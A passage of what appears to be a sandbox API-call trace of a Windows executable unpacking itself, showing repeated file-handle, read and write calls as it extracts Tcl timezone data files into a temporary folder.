lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.714] GetFileType (hFile=0x10c) returned 0x1 [0040.714] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.714] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.714] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.714] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.714] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.715] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.715] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.715] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.715] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.715] CloseHandle (hObject=0x10c) returned 1 [0040.715] GetLastError () returned 0x0 [0040.715] SetLastError (dwErrCode=0x0) [0040.715] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tel_Aviv") returned 70 [0040.715] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tel_Aviv" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tel_aviv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.715] GetLastError () returned 0x2 [0040.715] SetLastError (dwErrCode=0x2) [0040.715] GetLastError () returned 0x2 [0040.715] SetLastError (dwErrCode=0x2) [0040.715] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tel_Aviv", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tel_Aviv", lpFilePart=0x0) returned 0x45 [0040.715] GetLastError () returned 0x2 [0040.715] SetLastError (dwErrCode=0x2) [0040.715] GetLastError () returned 0x2 [0040.715] SetLastError (dwErrCode=0x2) [0040.715] GetLastError () returned 0x2 [0040.715] SetLastError (dwErrCode=0x2) [0040.715] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tel_Aviv") returned 70 [0040.715] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.715] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tel_Aviv" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tel_aviv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.739] GetFileType (hFile=0x10c) returned 0x1 [0040.740] htonl (hostlong=0xb3000000) returned 0xb3 [0040.740] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.740] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0040.741] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.741] CloseHandle (hObject=0x10c) returned 1 [0040.741] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.741] htonl (hostlong=0x30000000) returned 0x30 [0040.741] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.741] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.741] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.741] GetFileType (hFile=0x10c) returned 0x1 [0040.741] htonl (hostlong=0x50235b00) returned 0x5b2350 [0040.741] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd350, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.741] htonl (hostlong=0x86000000) returned 0x86 [0040.741] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86) returned 0x55cfe0 [0040.741] htonl (hostlong=0x86000000) returned 0x86 [0040.741] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.741] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.741] htonl (hostlong=0xab000000) returned 0xab [0040.741] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x550600 [0040.741] htonl (hostlong=0x86000000) returned 0x86 [0040.741] htonl (hostlong=0xab000000) returned 0xab [0040.741] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.741] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.741] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.741] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.741] CloseHandle (hObject=0x10c) returned 1 [0040.741] GetLastError () returned 0x0 [0040.742] SetLastError (dwErrCode=0x0) [0040.742] GetLastError () returned 0x0 [0040.742] SetLastError (dwErrCode=0x0) [0040.742] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.742] GetFileType (hFile=0x10c) returned 0x1 [0040.742] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.742] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.742] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.742] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.742] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.742] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.742] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.742] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.742] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.742] CloseHandle (hObject=0x10c) returned 1 [0040.742] GetLastError () returned 0x0 [0040.742] SetLastError (dwErrCode=0x0) [0040.742] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.742] GetFileType (hFile=0x10c) returned 0x1 [0040.742] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.742] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.742] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.742] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.743] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.743] CloseHandle (hObject=0x10c) returned 1 [0040.743] GetLastError () returned 0x0 [0040.743] SetLastError (dwErrCode=0x0) [0040.743] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.743] GetFileType (hFile=0x10c) returned 0x1 [0040.743] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.743] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.743] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.743] CloseHandle (hObject=0x10c) returned 1 [0040.743] GetLastError () returned 0x0 [0040.743] SetLastError (dwErrCode=0x0) [0040.743] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimbu") returned 68 [0040.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimbu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\thimbu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.744] GetLastError () returned 0x2 [0040.744] SetLastError (dwErrCode=0x2) [0040.744] GetLastError () returned 0x2 [0040.744] SetLastError (dwErrCode=0x2) [0040.744] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimbu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimbu", lpFilePart=0x0) returned 0x43 [0040.744] GetLastError () returned 0x2 [0040.744] SetLastError (dwErrCode=0x2) [0040.744] GetLastError () returned 0x2 [0040.744] SetLastError (dwErrCode=0x2) [0040.744] GetLastError () returned 0x2 [0040.744] SetLastError (dwErrCode=0x2) [0040.744] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimbu") returned 68 [0040.744] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimbu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\thimbu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.744] GetFileType (hFile=0x10c) returned 0x1 [0040.744] htonl (hostlong=0xab000000) returned 0xab [0040.744] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.744] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xab, lpOverlapped=0x0) returned 1 [0040.751] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.752] CloseHandle (hObject=0x10c) returned 1 [0040.752] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.752] htonl (hostlong=0x30000000) returned 0x30 [0040.752] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.752] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.752] GetFileType (hFile=0x10c) returned 0x1 [0040.752] htonl (hostlong=0xd6235b00) returned 0x5b23d6 [0040.752] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd3d6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.752] htonl (hostlong=0x96000000) returned 0x96 [0040.752] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x55cfe0 [0040.752] htonl (hostlong=0x96000000) returned 0x96 [0040.752] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.752] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.752] htonl (hostlong=0xab000000) returned 0xab [0040.752] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x550600 [0040.752] htonl (hostlong=0x96000000) returned 0x96 [0040.752] htonl (hostlong=0xab000000) returned 0xab [0040.752] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.752] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.752] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.752] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.752] CloseHandle (hObject=0x10c) returned 1 [0040.753] GetLastError () returned 0x0 [0040.753] SetLastError (dwErrCode=0x0) [0040.753] GetLastError () returned 0x0 [0040.753] SetLastError (dwErrCode=0x0) [0040.753] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.753] GetFileType (hFile=0x10c) returned 0x1 [0040.753] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.753] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.753] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.753] CloseHandle (hObject=0x10c) returned 1 [0040.753] GetLastError () returned 0x0 [0040.753] SetLastError (dwErrCode=0x0) [0040.753] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.753] GetFileType (hFile=0x10c) returned 0x1 [0040.753] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.753] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.754] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.754] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.754] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.754] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.754] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.754] CloseHandle (hObject=0x10c) returned 1 [0040.754] GetLastError () returned 0x0 [0040.754] SetLastError (dwErrCode=0x0) [0040.754] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.754] GetFileType (hFile=0x10c) returned 0x1 [0040.754] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.754] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.754] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.754] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.754] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.754] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.754] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.754] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: 